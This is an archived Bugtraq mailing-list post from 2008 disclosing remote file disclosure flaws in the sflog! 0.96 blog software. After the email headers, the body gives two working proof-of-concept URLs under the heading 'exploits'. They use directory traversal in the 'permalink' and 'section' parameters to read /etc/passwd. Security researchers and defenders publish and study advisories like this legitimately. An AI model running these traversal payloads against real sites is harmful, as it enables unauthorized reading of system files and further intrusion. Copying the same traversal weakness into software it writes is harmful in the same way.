sflog! 0.96 remote file disclosure vulnerabilities
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: sflog! 0.96 remote file disclosure vulnerabilities
- From: "muuratsalo experimental hack lab" <muuratsalo@xxxxxxxxx>
- Date: Thu, 31 Jan 2008 16:50:46 +0100
- Dkim-signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition; bh=CRghRLB7/udhKdWZSI2L8ePBhPdJ2eN5yi55xgJi5pI=; b=ZPg0am3pyP88Dyd5fA29+ZZ49htXjpIsrJUlErlsRyOKZ2Z05MfrmVhki1UJGutx+THbvZah3j6rMxRx565Wyv3Qj2BtSNDO+lqFChJ88vTD4Wk7kKOOcKUIJcnx9/Q5uMXzvB3DrpfJQbZyZlD8JBhf1Ec79zJ50IaqRHCVtbU=
- Domainkey-signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition; b=JVKjG0fAlA7BtXGTVv0VXIQsHBXvT+QevbXZrN+GE9cIGcmFJq9zBIeFljkecw8BqtLmSL9AelV9Nc5r7tTQ6WUPEyDf8W0K3Bqag5svJT4gs7AKRHLRH5WhbjW19S7JAiyGZ86bh479oMAfrOh3V2qcQNq4dT63zJI1tL1ELgE=
- List-help: <mailto:bugtraq-help@securityfocus.com>
- List-id: <bugtraq.list-id.securityfocus.com>
- List-post: <mailto:bugtraq@securityfocus.com>
- List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
- List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
- Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm
sflog! 0.96 remote file disclosure vulnerabilities
download http://sourceforge.net/projects/sflog/
author muuratsalo
contact muuratsalo[at]gmail.com
exploits
http://localhost/sflog/?blog=test&permalink=../../../../../../../../../../etc/passwd
http://localhost/sflog/index.php?blog=test§ion=../../../../../../../../../../etc/passwd